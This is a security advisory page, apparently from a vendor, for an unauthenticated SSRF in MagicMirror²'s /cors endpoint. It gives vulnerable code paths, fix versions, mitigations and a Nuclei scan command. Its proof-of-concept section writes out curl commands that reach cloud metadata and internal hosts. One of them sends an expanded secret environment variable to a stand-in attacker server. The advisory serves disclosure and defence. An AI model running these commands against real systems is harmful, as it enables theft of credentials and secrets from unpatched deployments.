CVE-2026-42281 — magicmirror
CVE-2026-42281 is a Server-Side Request Forgery (SSRF) vulnerability in magicmirror. A fix is available for magicmirror — see the affected versions and patch details below.
MagicMirror²: Unauthenticated SSRF via /cors endpoint
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42281.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
magicmirrornpmDescription
Summary
An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets.
Details
The /cors endpoint in js/server_functions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.
Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any **VARIABLE_NAME** pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).
Vulnerable code path:
GET /cors?url=<attacker-controlled-url>
→ replaceSecretPlaceholder(url) // expands **ENV_VAR** → process.env.ENV_VAR
→ fetch(url) // no validation, no blocklist
→ response returned to attacker // full body, status, headers
Key issues:
- No authentication required
- No URL validation or blocklist for private/reserved IP ranges
- No restriction on URL scheme or destination
- Environment variable expansion in URL before fetch
PoC
Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).
1. Basic SSRF — access cloud metadata (AWS IMDSv1):
curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"
If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.
2. Internal network scanning:
curl "http://<target>:8080/cors?url=http://192.168.1.1/"
curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"
The attacker can probe internal services by observing response status codes and timing.
3. Environment variable exfiltration:
curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**"
The server expands **SECRET_API_KEY** to the value of process.env.SECRET_API_KEY before making the request, sending the secret to the attacker-controlled server as a query parameter.
Impact
- Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account
- Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker
- Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable
- Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The
/corsendpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | magicmirror | all versions | 2.36.0npm install magicmirror@2.36.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for magicmirror, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update magicmirror to 2.36.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42281 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42281 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42281. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect CVE-2026-42281
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-42281 -u https://target- Template
- MagicMirror <= 2.35.0 - Server-Side Request Forgery
- Severity
- critical
- Impact
- A remote unauthenticated attacker can force the MagicMirror server to request localhost, internal network, and cloud metadata endpoints. In affected configurations, the endpoint can return server-side responses to the attacker.
- Remediation
- Upgrade MagicMirror to version 2.36.0 or later.
Template by ProjectDiscovery nuclei-templates (aleff-github), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-42281 in your dependencies?
O3 Security finds CVE-2026-42281 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.